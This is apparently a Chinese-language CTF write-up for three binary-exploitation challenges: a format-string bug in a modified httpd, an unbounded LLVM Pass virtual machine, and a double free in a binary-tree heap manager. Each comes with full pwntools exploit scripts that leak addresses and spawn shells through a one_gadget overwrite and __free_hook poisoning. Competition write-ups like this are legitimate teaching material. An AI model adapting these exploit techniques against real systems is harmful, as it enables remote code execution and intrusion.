題目很有意思,學到很多
parser
這題是一個魔改的httpd,Content-Length小于0時存在格式化串漏洞,leak後寫one_gadget即可
from pwn import *
#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12435)
elf = ELF("./chall")
libc = ELF("./libc-2.27.so")
context.log_level = "debug"
req_base = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1
aaaaa'''
req_leak = '''GET / HTTP/1.1
Host: 127.0.0.1
Content-Length: -1
||%8$p||%15$p||%213$p||
'''
def send_req(request):
p.sendafter(b"> ", request)
def exp():
# leak stack libc image_base
send_req(req_leak)
p.recvuntil(b"||")
stack_leak = int(p.recvuntil(b"||", drop = True), 16)
image_leak = int(p.recvuntil(b"||", drop = True), 16)
libc_leak = int(p.recvuntil(b"||", drop = True), 16)
libc_base = libc_leak - 0x21b97
image_base = image_leak - 0x14a8
one_gadget = libc_base + 0x4f3c2
system = libc_base + libc.symbols[b"execve"]
binsh = libc_base + next(libc.search(b"/bin/sh"))
pop_rdi_ret = image_base + 0x16a3
pop_rsi_ret = libc_base + 0x23e8a
pop_rdx_ret = libc_base + 0x1b96
print("stack_leak:", hex(stack_leak))
print("image_leak:", hex(image_leak))
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("image_base:", hex(image_base))
print("system:", hex(system))
print("binsh:", hex(binsh))
# attack_ret_addr
main_ret = 0x5a8 + stack_leak
print("main_ret:", hex(main_ret))
for i in range(6):
payload = req_base.encode()
payload += ("%{}c".format(((libc_base+0x10a45c >> (8*i) ) & 0xff) -5).encode() + b"%27$hhn").ljust(32, b"A")
payload += p64(main_ret+i)
print(len(payload))
send_req(payload)
# trigger main_ret->one_gadget
send_req("11111")
# ./getflag
p.interactive()
if __name__ == "__main__":
exp()
複制
simpleVM
這裡的漏洞出在LLVM Pass,LLVM核心庫提供了一些"Pass"類讓開發者可以去繼承然後實作想要的功能。主要的作用就是把編譯過程中間的IR喂給自定義的Pass進而進行一些針對性的、機器無關的優化。這題的Pass實作了一個由
push pop store load add min
組成的虛拟機,由于沒有邊界限制,且主程式沒開PIE保護,是以很容易進行任意位址讀寫。
README.txt
Hack LLVM!
Docker Guidance:
FROM ubuntu:18.04
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
apt-get update && apt-get -y dist-upgrade && \
apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python
once your exp.bc(bitcode file) is uploaded
Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`
複制
exp.c
void push(int a);
void pop(int a);
void store(int a);
void load(int a);
void add(int a, int b);
void min(int a, int b);
void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x72a9c);
store(1);
}
複制
exp.bc
; ModuleID = 'exp.c'
source_filename = "exp.c"
target datalayout = "e-m:e-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
; Function Attrs: noinline nounwind optnone uwtable
define void @o0o0o0o0() #0 {
call void @add(i32 1, i32 7856384)
call void @load(i32 1)
call void @add(i32 2, i32 469660)
call void @store(i32 1)
ret void
}
declare void @add(i32, i32) #1
declare void @load(i32) #1
declare void @store(i32) #1
attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "less-precise-fpmad"="false" "no-frame-pointer-elim"="true" "no-frame-pointer-elim-non-leaf" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
!llvm.module.flags = !{!0}
!llvm.ident = !{!1}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 6.0.0-1ubuntu2 (tags/RELEASE_600/final)"}
複制
manager
用二叉樹管理記憶體的堆題,特定條件下删根節點會double free。
僞代碼看的我血壓升高,直接調确定一種情況比如根節點有左右節點,且右節點有兩個葉子。這樣free掉根節點時會出現
loop chain
。慢慢利用就行。
exp
from pwn import *
#p = process("./chall", env={"LD_PRELOAD":"./libc-2.27.so"})
p = remote("47.105.94.48", 12243)
libc = ELF("./libc-2.27.so")
context.arch = "amd64"
context.log_level = "debug"
# header: 0x555555554000+0x202018
def add(key:int, length:int, content):
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"key> ", str(key).encode())
p.sendlineafter(b"len> ", str(length).encode())
p.sendafter(b"content> ", content)
def delete(key:int):
p.sendlineafter(b"> ", b"2")
p.sendlineafter(b"key> ", str(key).encode())
def show():
p.sendlineafter(b"> ", b"3")
def exp():
# leak libc
add(1, 0x420, b"unsorted")
add(2, 0x420, b"unsorted2")
delete(1)
delete(2)
add(5, 0x10, b"5"*8)
show()
p.recvuntil(b"55555555")
libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
libc_base = libc_leak - 0x3ec090
system = libc_base + libc.symbols[b"system"]
free_hook = libc_base + libc.symbols[b"__free_hook"]
print("libc_leak:", hex(libc_leak))
print("libc_base:", hex(libc_base))
print("system:", hex(system))
# build double free
add(7, 0x10, b"7"*8)
add(6, 0x10, b"6"*8)
add(4, 0x10, b"4"*8)
add(8, 0x10, b"8"*8)
delete(8)
delete(5)
add(10, 0x10, p64(free_hook))
add(11, 0x10, b"/bin/sh\x00")
add(12, 0x10, p64(system))
print("free_hook:", hex(free_hook))
delete(11)
#gdb.attach(p)
p.interactive()
if __name__ == "__main__":
exp()
複制